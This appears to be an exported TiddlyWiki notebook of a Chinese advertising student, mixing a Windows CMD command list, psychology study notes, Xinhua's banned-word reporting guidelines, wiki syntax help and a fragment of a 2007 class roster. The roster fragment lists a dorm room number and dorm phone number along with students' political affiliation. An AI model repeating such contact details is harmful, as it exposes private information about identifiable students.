ASSOC 显示或修改文件扩展名关联。 \nAT 计划在计算机上运行的命令和程序。 \nATTRIB 显示或更改文件属性。 \nBREAK 设置或清除扩展式 CTRL+C 检查。 \nCACLS 显示或修改文件的访问控制列表(ACLs)。 \nCALL 从另一个批处理程序调用这一个。 \nCD 显示当前目录的名称或把其更改。 \nCHCP 显示或设置活动代码页数。 \nCHDIR 显示当前目录的名称或把其更改。 \nCHKDSK 检查磁盘并显示状态报告。 \nCHKNTFS 显示或修改启动时间磁盘检查。 \nCLS 清除屏幕。 \nCMD 打开另一个 Windows 命令解释程序窗口。 \nCOLOR 设置默认控制台前景和背景颜色。 \nCOMP 比较两个或两套文件的内容。 \nCOMPACT 显示或更改 NTFS 分区上文件的压缩。 \nCONVERT 把 FAT 卷转换成 NTFS。您不能转换 \n当前驱动器。 \nCOPY 把至少一个文件复制到另一个位置。 \nDATE 显示或设置日期。 \nDEL 删除至少一个文件。 \nDIR 显示一个目录中的文件和子目录。 \nDISKCOMP 比较两个软盘的内容。 \nDISKCOPY 把一个软盘的内容复制到另一个软盘。 \nDOSKEY 编辑命令行、调用 Windows 命令并创建宏。 \nECHO 显示消息，或把命令回显打开或关上。 \nENDLOCAL 结束批文件中环境更改的本地化。 \nERASE 删除至少一个文件。 \nEXIT 退出 CMD.EXE 程序(命令解释程序)。 \nFC 比较两个或两套文件，并显示 \n不同处。 \nFIND 在文件中搜索文字字符串。 \nFINDSTR 在文件中搜索字符串。 \nFOR 为一套文件中的每个文件运行一个指定的命令。 \nFORMAT 格式化磁盘，以便跟 Windows 使用。 \nFTYPE 显示或修改用于文件扩展名关联的文件类型。 \nGOTO 把 Windows 命令解释程序指向批处理程序 \n中某个标明的行。 \nGRAFTABL 启用 Windows 来以图像模式显示 \n扩展字符集。 \nHELP 提供 Windows 命令的帮助信息。 \nIF 执行批处理程序中的条件性处理。 \nLABEL 创建、更改或删除磁盘的卷标。 \nMD 创建目录。 \nMKDIR 创建目录。 \nMODE 配置系统设备。 \nMORE 一次显示一个结果屏幕。 \nMOVE 把文件从一个目录移到另一个目录。 \nPATH 显示或设置可执行文件的搜索路径。 \nPAUSE 暂停批文件的处理并显示消息。 \nPOPD 还原 PUSHD 保存的当前目录的上一个值。 \nPRINT 打印文本文件。 \nPROMPT 更改 Windows 命令提示符。 \nPUSHD 保存当前目录，然后对其进行更改。 \nRD 删除目录。 \nRECOVER 从有问题的磁盘恢复可读信息。 \nREM 记录批文件或 CONFIG.SYS 中的注释。 \nREN 重命名文件。 \nRENAME 重命名文件。 \nREPLACE 替换文件。 \nRMDIR 删除目录。 \nSET 显示、设置或删除 Windows 环境变量。 \nSETLOCAL 开始批文件中环境更改的本地化。 \nSHIFT 更换批文件中可替换参数的位置。 \nSORT 对输入进行分类。 \nSTART 启动另一个窗口来运行指定的程序或命令。 \nSUBST 把路径跟一个驱动器号关联。 \nTIME 显示或设置系统时间。 \nTITLE 设置 CMD.EXE 会话的窗口标题。 \nTREE 以图形模式显示驱动器或路径的目录结构。 \nTYPE 显示文本文件的内容。 \nVER 显示 Windows 版本。 \nVERIFY 告诉 Windows 是否验证文件是否已正确 \n写入磁盘。 \nVOL 显示磁盘卷标和序列号。 \nXCOPY 复制文件和目录树
<HTML>\n<HEAD>\n \n <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=utf-8">\n <TITLE>ç­çº§åå</TITLE>\n <META NAME="GENERATOR" CONTENT="OpenOffice.org 2.1 (Linux)">\n <META NAME="AUTHOR" CONTENT="封真">\n <META NAME="CREATED" CONTENT="20070319;18505000">\n <META NAME="CHANGEDBY" CONTENT="封真">\n\n <META NAME="CHANGED" CONTENT="20070319;20244400">\n \n <STYLE>\n <!-- \n BODY,DIV,TABLE,THEAD,TBODY,TFOOT,TR,TH,TD,P { font-family:"宋体"; font-size:small }\n -->\n </STYLE>\n \n</HEAD>\n\n<BODY TEXT="#000000">\n<TABLE FRAME=VOID CELLSPACING=0 COLS=12 RULES=NONE BORDER=0>\n <COLGROUP><COL WIDTH=65><COL WIDTH=70><COL WIDTH=65><COL WIDTH=49><COL WIDTH=86><COL WIDTH=65><COL WIDTH=71><COL WIDTH=70><COL WIDTH=92><COL WIDTH=61><COL WIDTH=66><COL WIDTH=49></COLGROUP>\n <TBODY>\n <TR>\n <TD STYLE="border-top: 3px solid #000000; border-left: 3px solid #000000; border-right: 3px solid #000000" COLSPAN=12 WIDTH=807 HEIGHT=22 ALIGN=CENTER VALIGN=MIDDLE><FONT FACE="Bitstream Vera Sans">广告062校讯通更新</FONT></TD>\n\n </TR>\n <TR>\n <TD STYLE="border-left: 3px solid #000000" HEIGHT=32 ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>所在分院:</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>传媒分院</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>专业名称:</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>广告学</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Arial" SIZE=2><BR></FONT></TD>\n\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>更新日期:</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF" SDVAL="39161" SDNUM="1033;1033;M/D/YYYY"><FONT FACE="Arial" SIZE=2>3/20/2007</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Arial" SIZE=2><BR></FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Arial" SIZE=2><BR></FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>班名:</FONT></TD>\n <TD ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>广告0602</FONT></TD>\n <TD STYLE="border-right: 3px solid #000000" ALIGN=LEFT VALIGN=MIDDLE><BR></TD>\n\n </TR>\n <TR>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 3px solid #000000; border-right: 1px solid #000000" HEIGHT=20 ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>序号</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>学号</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>姓名</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>性别</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>党团关系</FONT></TD>\n\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>班内职务</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>寝室号</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>寝室电话</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>手机号</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>手机短号</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>是否更新</FONT></TD>\n\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 3px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>备注</FONT></TD>\n </TR>\n <TR>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 3px solid #000000; border-right: 1px solid #000000" HEIGHT=20 ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF" SDVAL="1" SDNUM="1033;"><FONT FACE="Arial" SIZE=2>1</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; 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border-bottom: 3px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Bitstream Vera Sans" SIZE=2>团员</FONT></TD>\n\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 3px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Arial" SIZE=2><BR></FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 3px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF"><FONT FACE="Arial" SIZE=2>B2-112</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 3px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000" ALIGN=LEFT VALIGN=MIDDLE BGCOLOR="#FFFFFF" SDVAL="88400605" SDNUM="1033;"><FONT FACE="Arial" SIZE=2>88400605</FONT></TD>\n <TD STYLE="border-top: 1px solid #000000; border-bottom: 3px solid #000000; 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广告学是将广告以学术性的方法来教育和研究的学科。不少大学都有开设这个科目，而且通常都列在传播学院下面。广告学两大支柱是[[传播学]]和[[市场营销学]]。
!前言\n*[[五步阅读法（SQ3R）]]\n*[[六步阅读法（SQ4R）]]\n*[[笔记LISAN法]]\n*[[过度学习]]\n*[[拖延学习]]\n*[[选择题技巧]]\n!第一章\n*没学过心理学就不算受过良好教育\n*心理学是研究动物和人[[行为]]的科学\n*人感觉不适时，攻击行为会增加\n*避免"合理"感觉的干扰\n*自杀者多位女性，成功自杀者多为男性\n*现场“潜在救助者”越多→[[责任扩散]]→旁观者冷漠\n*[[批判思维]]\n*[[无批判接受顺言]]\n*[[正例谬误]]\n*[[巴纳姆效应]]\n!第二章\n*观察 定义问题 提出假设 收集证据 发表研究结果 建立理论\n*[[观察者效应]]\n*[[观察着偏差]]\n*[[拟人化错误]]\n*[[相关系数]]\n*可重复性是检验试验结果科学性的重要标准\n*[[安慰剂效应]]\n*[[实验者效应]]\n*调查中的[[样本偏差]]和[[礼貌偏差]]\n*区别虚构故事和科技信息\n**持怀疑态度\n**考察信息来源\n**是否有控制组\n**区别相关和因果\n**当心过于简单化以赚钱为目的的宣传\n**一个偶然例子不是证据\n!第三章\n*神经传导频率 1000Hz 2.5M/s-100M/s\n*脑啡肽和内啡肽与安慰剂和针灸效果有关, 他们波及式传递,影响大量神经元\n*神经鞘使神经能以1mm/d 的速度复原.但大脑和脊髓除外,其回复可能很小.\n*脑组织移植治疗帕金森症\n*聪明的大脑是投入最少但产出最多的大脑\n*早期音乐训练可以改变胼胝体大小\n*左右半球差异\n**左半球\n***语言\n***数学\n***时间判断\n***节奏\n***复杂运动\n***分析处理连续性信息\n***活跃时倾向于冒险\n**右半球\n***模式识别(表情,面孔,声音)\n***空间技能\n***视觉\n***操作性任务\n***处理同时性信息和整体性信息\n***活跃时倾向谨慎的决策\n**但不可以割裂两半球的功能\n*枕叶: 初级视觉区\n*顶叶: 触觉温度觉压力觉和其他躯体感觉\n*颞叶: 初级听觉区所在\n*额叶: 各种高级运动和心智功能区\n*"猛男脸"和生长素过量分泌有关\n*没有证据证明类固醇能提高运动能力\n*左右利手各有好处\n|CT|x光||\n|MRI|磁共振||\n|EEG|脑电图|电信号|\n|MEG|脑磁图|磁信号|\nMANSCAN||EEG+MRI|\n|PET||放射性葡萄糖跟踪\n!第四章\n*天生能力\n**吮吸反射\n**莫罗反射\n**坐→扶着站→爬→领着走→站→走\n**兴趣→愉快→气愤→伤心\n**先决条件原则:身体还未成熟时不要强迫儿童学习技能以避免不必要的挫折\n**不满一岁的儿童也有感情和情绪\n*遗传作用\n**气质\n|随和型|40%|情绪放松|\n|困难型|10%|喜怒无常,紧张,易怒|\n|沉默型|15%|拘谨,不善表达,害羞|\n|一般型|35%|无突出特点|\n*人类成长顺序\n|受精卵|受孕后头两周|\n|胚胎|受孕后2~8周|\n|胎儿|受孕后8周到分娩|\n|新生儿|出生到其后若干周|\n|婴儿|出生到其能独立安全行走|\n|学步儿童|15~18个月到2~2.5岁|\n|学前儿童|2~3岁到6岁左右|\n|学龄儿童|6~12岁|\n|青少年|青春发育初期到社会成熟|\n|成年人|青少年后到死亡|\n|老年人|以心理生理衰退为特征|\n*宫内环境\n**先天性缺陷应该区分于遗传问题\n***毒品,麻醉剂,可的松,四环素,过量维生素ASBK,镇静剂,类固醇,合成性激素,阿司匹林可导致先天缺陷\n***孕期烟酒无论多少都可能导致流产早产或FAS,弱智\n**父母影响\n***养育风格:优秀母亲←→饲养员式母亲\n***相适度:父母子女间气质相适应问题\n***父亲影响:玩伴\n*社会性发展\n**自我意识:平均15个月\n**社会参照:通过观察他人获得信息或指导的能力(视崖实验)\n**情绪依恋→分离焦虑→安全物现象\n**依恋质量\n***安全型依恋\n***不安全-回避\n***不安全-矛盾\n**高质量日托不会造成不良影响\n*反社会问题可以追溯到依恋期受到拒绝和虐待\n*婴儿的情感需要同样重要,把1~2岁的儿童"宠坏"不大可能\n*语言发展\n**交流越多,语言能力发展越快\n**儿童照看者语言\n*认知发展\n**六七岁的儿童不能进行心理转换(在思维中改变物质的形状或形式).\n**七岁后思维趋向逻辑抽象,被称为推理年龄\n**思维发展模式\n***同化(推广应用)\n***顺应(修正既有)\n***皮亚杰理论\n|年龄|阶段|特征|\n|0~2|感觉运动阶段|恒常|\n|2~7|前运演阶段|符号思维,直觉性强,自我中心|\n|7~11|具体运演阶段|守恒,时间空间,数,逆向思维,心算|\n|11~|形式思维阶段|抽象思维,假设可能性,估计,归纳演绎等|\n*道德发展\n**科尔伯格理论(基于公正)\n|道德阶段|特征|\n|前习俗水平1|惩罚定向|\n|前习俗水平2|快乐定向|\n|习俗水平1|好孩子定向|\n|习俗水平2|权威定向|\n|后习俗水平1|社会契约定向|\n|后习俗水平2|个体原则的道德定向|\n*吉利根(基于关爱):看重相互间关系\n*环境剥夺和环境丰富化\n**早期环境剥夺\n***狼孩\n***剥夺性侏儒症\n***住院综合症\n***成因:依恋不能形成,缺少知觉刺激\n**早期刺激\n***接触舒适→鼓励母乳喂养,或至少保持对婴儿进食节律的敏感\n**环境丰富化→提前教育\n*不要任由1~2岁的孩子哭闹,要迅速反应\n*不要放任2岁以上的孩子\n*正确对待个体差异\n*丰富化的适度和反应性→避免强迫式教育\n!第五章\n*
基本原则\n1.不存在不需实证的真理\n2.证据要高质量\n3.权威言论不会自动变成真理\n4.批判思维必须不抱成见
[[守门人理论]]
*拖拉可以使学生把学习成绩差归结于动手晚了，而不是自己能力态度差。\n*拖拉可能由于过分追求完美，好高骛远，怕失败丢面子。\n解决方法：[[时间管理]]，端正态度。
把人类的情感动机或思维强加到动物身上.
控制论(台湾称为模控学)是《控制论:或关于在动物和机器中控制和通讯的科学》[1]，由[[诺伯特·维纳]](Wiener,N.)著，麻省理工学院出版社出版于1948年，维纳创造新字“Cybernetics”命名当时新的学科，本书是控制论的奠基之作是自动控制、传播学、电子技术、无线电通讯、神经生理学、心理学、医学、数学逻辑、计算机技术和统计力学等多种学科相互渗透的产物。控制论的奠基人是诺伯特·维纳，他于1943年在《行为、目的和目的论》中，首先提出了“控制论”这个概念，第一次把只属于生物的有目的的行为赋予机器，阐明了控制论的基本思想。1948年诺伯特·维纳又发表了《控制论》，为控制论奠定了理论基础，标着着它的正式诞生。控制论、系统论和信息论是现代信息技术的理论基础。
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总编室组织国内部、国际部、对外部、新闻研究所搜集整理了近年来各编辑部规定的禁用词。第一批禁用词已公布，供各编辑部、国内外各分社在报道中掌握。\n 今后，总编室将结合我社采编体例的编制，继续组织搜集整理禁用词以及慎用词，陆续公布。\n \n 新闻报道中的禁用词（第一批）\n \n 一、社会生活类的禁用词\n 1.对有身体伤疾的人士不使用“残废人”“独眼龙”“瞎子”“聋子”“傻子”“呆子”“弱智”等蔑称，而应使用“残疾人”“盲人”“聋人”“智力障碍者”等词语。\n 2.报道各种事实特别是产品、商品时不使用“最佳”“最好”“最著名”等具有强烈评价色彩的词语。\n 3.医药报道中不得含有“疗效最佳”“根治”“安全预防”“安全无副作用”等词语，药品报道中不得含有“药到病除”“无效退款”“保险公司保险”“最新技术”“最高技术”“最先进制法”“药之王”“国家级新药”等词语。\n 4.对文艺界人士，不使用“影帝”“影后”“巨星”“天王”等词语，一般可使用“文艺界人士”或“著名演员”“著名艺术家”等。\n 5.对各级领导同志的各种活动报道，不使用“亲自”等形容词。\n 6.作为国家通讯社，新华社通稿中不应使用“哇噻”“妈的”等俚语、脏话、黑话等。如果在引语中不能不使用这类词语，均应用括号加注，表明其内涵。近年来网络用语中对脏语进行缩略后新造的“SB”“TMD”“NB”等，也不得在报道中使用。\n \n 二、法律类的禁用词\n 7.在新闻稿件中涉及如下对象时不宜公开报道其真实姓名：（1）犯罪嫌疑人家属；（2）涉及案件的未成年人；（3）涉及案件的妇女和儿童；（4）采用人工受精等辅助生育手段的孕、产妇；（5）严重传染病患者；（6）精神病患者；（7）被暴力胁迫卖淫的妇女；（8）艾滋病患者；（9）有吸毒史或被强制戒毒的人员。涉及这些人时，稿件可使用其真实姓氏加“某”字的指代，如“张某”“李某”，不宜使用化名。\n 8.对刑事案件当事人，在法院宣判有罪之前，不使用“罪犯”，而应使用“犯罪嫌疑人”。\n 9.在民事和行政案件中，原告和被告法律地位是平等的，原告可以起诉，被告也可以反诉。不要使用原告“将某某推上被告席”这样带有主观色彩的句子。\n 10.不得使用“某某党委决定给某政府干部行政上撤职、开除等处分”，可使用“某某党委建议给予某某撤职、开除等处分”。\n 11.不要将“全国人大常委会副委员长”称作“全国人大副委员长”，也不要将“省人大常委会副主任”称作“省人大副主任”。各级人大常委会的委员，不要称作“人大常委”。\n 12.“村民委员会主任”简称“村主任”，不得称“村长”。村干部不要称作“村官”。\n 13.在案件报道中指称“小偷”“强奸犯”等时，不要使用其社会身份作前缀。如：一个曾经是工人的小偷，不要写成“工人小偷”；一名教授作了案，不要写成“教授罪犯”。\n 14.国务院机构中的审计署的正副行政首长称“审计长”“副审计长”，不要称作“署长”“副署长”。\n 15.各级检察院的“检察长”不要写成“检察院院长”。\n \n 三、民族宗教类的禁用词\n 16.对各民族，不得使用旧社会流传的带有污辱性的称呼。不能使用“回回”“蛮子”等，而应使用“回族”等。也不能随意简称，如“蒙古族”不能简称为“蒙族”，“维吾尔族”不能简称为“维族”，“哈萨克族”不能简称为“哈萨”等。\n 17.禁用口头语言或专业用语中含有民族名称的污辱性说法，不得使用“蒙古大夫”来指代“庸医”，不得使用“蒙古人”来指代“先天愚型”等。\n 18.少数民族支系、部落不能称为民族，只能称为“XX人”。如“摩梭人”“撒尼人”“穿（川）青人”“僜人”，不能称为“摩梭族”“撒尼族”“穿（川）青族”“僜族”等。\n 19.不要把古代民族名称与后世民族名称混淆，如不能将“高句丽”称为“高丽”，不能将“哈萨克族”“乌孜别克族”等泛称为“突厥族”或“突厥人”。\n 20.“穆斯林”是伊斯兰教信徒的通称，不能把宗教和民族混为一谈。不能说“回族就是伊斯兰教”“伊斯兰教就是回族”。报道中遇到“阿拉伯人”等提法，不要改称“穆斯林”。\n 21.涉及信仰伊斯兰教的民族的报道，不要提“猪肉”。\n 22.穆斯林宰牛羊及家禽，只说“宰”，不能写作“杀”。\n \n 四、涉及我领土、主权和港台澳的禁用词\n 23.香港、澳门是中国的特别行政区，台湾是中国的一个省。在任何文字、地图、图表中都要特别注意不要将其称作“国家”。尤其是多个国家和地区名称连用时，应格外注意不要漏写“（国家）和地区”字样。\n 24.对台湾当局“政权”系统和其他机构的名称，无法回避时应加引号，如台湾“立法院”“行政院”“监察院”“选委会”“行政院主计处”等。不得出现“中央”“国立”“中华台北”等字样，如不得不出现时应加引号，如台湾“中央银行”等。台湾“行政院长”“立法委员”等均应加引号表述。台湾“清华大学”“故宫博物院”等也应加引号。严禁用“中华民国总统（副总统）”称呼台湾地区领导人，即使加注引号也不得使用。\n 25.对台湾地区施行的所谓“法律”，应表述为“台湾地区的有关规定”。涉及对台法律事务，一律不使用“文书验证”、“司法协助”、“引渡”等国际法上的用语。\n 26.不得将海峡两岸和香港并称为“两岸三地”。\n 27.不得说“港澳台游客来华旅游”，而应称“港澳台游客来大陆（或：内地）旅游”。\n 28.“台湾”与“祖国大陆（或‘大陆’）”为对应概念，“香港、澳门”与“内地”为对应概念，不得弄混。\n 29.不得将台湾、香港、澳门与中国并列提及，如“中港”“中台”“中澳”等。可以使用“内地与香港”“大陆与台湾”或“京港”“沪港”“闽台”等。\n 30.“台湾独立”或“台独”必须加引号使用。\n 31.台湾的一些社会团体如“中华道教文化团体联合会”“中华两岸婚姻协调促进会”等有“中国”“中华”字样者，应加引号表述。\n 32.不得将台湾称为“福摩萨”。如报道中需要转述时，一定要加引号。\n 33.南沙群岛不得称为“斯普拉特利群岛”。\n 34.钓鱼岛不得称为“尖阁群岛”。\n 35.严禁将新疆称为“东突厥斯坦”。\n \n 五、国际关系类禁用词\n 36.不得使用“北朝鲜（英文North Korea）”来称呼“朝鲜民主主义人民共和国”，可直接使用简称“朝鲜”。英文应使用“the Democratic People’s Republic of Korea”或使用缩写“DPRK”。\n 37.有的国际组织的成员中，既包括一些既有国家，也包括一些地区。在涉及此类国际组织时，不得使用“成员国”，而应使用“成员”或“成员方”，如不能使用“世界贸易组织成员国”“亚太经合组织成员国”，而应使用“世界贸易组织成员”“世界贸易组织成员方”“亚太经合组织成员”“亚太经合组织成员方”（英文用members）。\n 38.不使用“穆斯林国家”或“穆斯林世界”，而要用“伊斯兰国家”或“伊斯兰世界”。\n 39.在达尔富尔报道中不使用“阿拉伯民兵”，而应使用“武装民兵”或“部族武装”。\n 40.在报道社会犯罪和武装冲突时，一般不要刻意突出犯罪嫌疑人和冲突参与者的肤色、种族和性别特征。比如，在报道中应回避“黑人歹徒”的提法，可直接使用“歹徒”。\n 41.公开报道不要使用“伊斯兰原教旨主义”“伊斯兰原教旨主义者”等说法。可用“宗教激进主义（激进派、激进组织）”替代。如回避不了而必须使用时，可使用“伊斯兰激进组织（分子）”，但不要用“激进伊斯兰组织（分子）”。\n 42.不要使用“十字军”等说法。\n 43.人质报道中不使用“斩首”，可用中性词语为“人质被砍头杀害”。\n 44.对国际战争中双方的战斗人员死亡的报道，不要使用“击毙”等词语，可使用“打死”等词语。\n 45.不要将撒哈拉沙漠以南的地区称“黑非洲”，而应称为“撒哈拉沙漠以南的非洲”。
指人容易接受奉承和赞扬的倾向
安排时间表，特别注意休息时间的安排。把时间规划当作一项严肃的承诺。
//想看看实际上语法如何运用，请按右上角的「编辑」键。//\n!文字格式\n*''粗体''：左右各两个单引号「'」注意所有符号为英文标点。\n*//斜体//：左右各两个斜号「/」\n*__加底线__：左右各两个底线「_」\n*--删除的文字--：左右各两个负号「-」\n*^^上标字^^：左右各两个「^」\n*~~下标字~~：左右各两个波浪号「~」\n*字体@@color(green):颜色@@：左右各两个小老鼠「@」，並且在前两个@之后緊接著「''color(颜色名):''」的语法。\n*字体@@bgcolor(#FFCC99):背景颜色@@：左右各两个小老鼠「@」，並且在前两个@之后緊接著「''bgcolor(颜色名):''」的语法。\n\n!链接、贴图、水平线\n*WikiWord是[[wiki]]最传统建立內部链接（连到别则记事）的方法，也就是在一串字母当中至少要有两个大写字母，这样整个词就自动变成一个链接，即使目标还沒有被建立也行。\n*但WikiWord的方式太死板，而且只适用于西方用拉丁字母的情形。东方语文，或是我们想要建立的记事标题包含空格、比较像自然的语句时，可在左右用\n{{{\n[[链接目标]]\n}}}\n包起来。\n*但我们若想做个链接连到一则叫作「爱与和平?梦想实现」的记事，但行文当中又不想每次都要全部覆述，而是简单用「我的梦想」来指称的话，可以用这样的语法：\n{{{\n[[我的梦想|爱与和平?梦想实现]]是……\n}}}\n**也就是说，「|」之前是所显示的文字\n**「|」后是链接目标，可以是另外一则记事的名字，也可以是一个外部网址的''绝对位址''或''相对位址''；如果所连到的另一则记事还不存在的话，会先被当成是一个外部链接！\n*输入一串网址，也可以被直接转换成超链接，例如http://www.tiddlywiki.com/\n*贴图的语法是\n{{{\n[img[图显示不出来时的替代文字|图片网址或是档案路径]]\n}}}\n*补充说明\n**''绝对位址''：一串完整的网址，通常以{{{http://}}}（网路上的档案）或{{{file:///}}}（本机的档案）开头，小心結尾不要带进不相干的字串！\n**''相对位址''：为了省时省力，如果指涉的档案和TiddlyWiki笔记放在同一个资料夹中，则可以直接输入档名即可。\n**要连到另一个TiddlyWiki文件中的某一则记事，可在位址或路径的最后加上{{{#目标记事的标题}}}。\n\n----\n*{{{----}}}（四个hyphen）放在行首可以插入一条水平线。\n\n!列表、标题、引文\n*单行前面用「>」，可使用数个表示层次\n>引文第一层\n>>引文第二层\n>>>引文第三层\n>>二\n>一\n若一次有整段引文，可于該段文字前后各加一行{{{<<<}}}\n<<<\n一次有\n两三行引文，\n但是懶得每行都加上「>」\n<<<\n*行首用「*」则是无编号的分点列表\n**第二级\n同一级內可以直接换行\n***第三级\n>也可以混用引文\n>*引文中又可以混用列表\n\n即使换两行了，还在剛剛的列表中。\n\n所以，常常需要换超过一行才能徹底擺脫前一个列表的影響力。这很重要，不然语法之间会''互相干扰''！\n#行首的「#」则可以产生编数字的列表\n##第二级\n##有的wiki系统很强，可以让人们混用「*」和「#」，让无编号列表和有编号列表混合排列\n##*不过TiddlyWiki中混用的语法是有規矩的\n##*想在第二级的编号（##）中加入无编号列表，「##*」是沒有用的。\n***要连用「***」才会产生第三级的无编号列表\n\n!表格\n要建立表格很容易。\n|一个格子|\n最基本是用两根「管线」（|）夹起来的。\n{{{\n|只用一格后面标c→表格标题|c\n||!←不输入则留空|!加!为标题|\n|!加!为标题|一般的格子|預设靠左|\n| 左空格靠右|右空格靠左 | 两边都空置中 |\n|只填「~」可做垂直延伸上一格|>|只填「>」可水平延伸右一格|\n|~|>|bgcolor(red):「bgcolor(颜色名):」可加底色|\n}}}\n产生出\n|只用一格后面标c→表格标题|c\n||!←不输入则留空|!加!为标题|\n|!加!为标题|一般的格子|預设靠左|\n| 左空格靠右|右空格靠左 | 两边都空置中 |\n|只填「~」可做垂直延伸上一格|>|只填「>」可水平延伸右一格|\n|~|>|bgcolor(red):「bgcolor(颜色名):」可加底色|\n*只要记得换行\n|表格|也可以|用在|!列表当中！|\n>|!引文|当中则不用换行|\n\n一个比较实用的例子是我的课表。\n||星期一|星期二|星期三|星期四|星期五|\n|0800-0935|数学教五110|修辞教三301|文化文3-515|VB科600|英语教一307|\n|0950-1215|英语教一307|体育|数学教五110|VB教一221|毛邓教一621|\n|1330-1505| |文学教一221|新闻教七206|平面文2-501||\n|1520-1655|逻辑教一321|社会教三201|新闻教七206|平面文2-501||\n|1830-2055|传播教一405|黑客教五210||||\n\n\n~~嫌我啰嗦的话可看[[这里|http://www.tiddlywiki.com/#HtmlTables]]~~\n\n!宏\n*插入现在日期及时间：\n{{{\n<<today>>\n}}}\n如：<<today>>\n*插入一个可以滑出和隐藏的窗格（slider）\n{{{\n<<slider chkSlider随便取 插入记事的标题 显示的文字 "鼠标移上去时的提示文句">>\n}}}\n如：<<slider chkSliderSiteTitle SiteTitle 本文件的主标题 "滑出这则记事的內容">>\n*插入别则记事的內容\n{{{\n<<tiddler 别的记事的标题>>\n}}}\n如：本文件的副标题是：<<tiddler 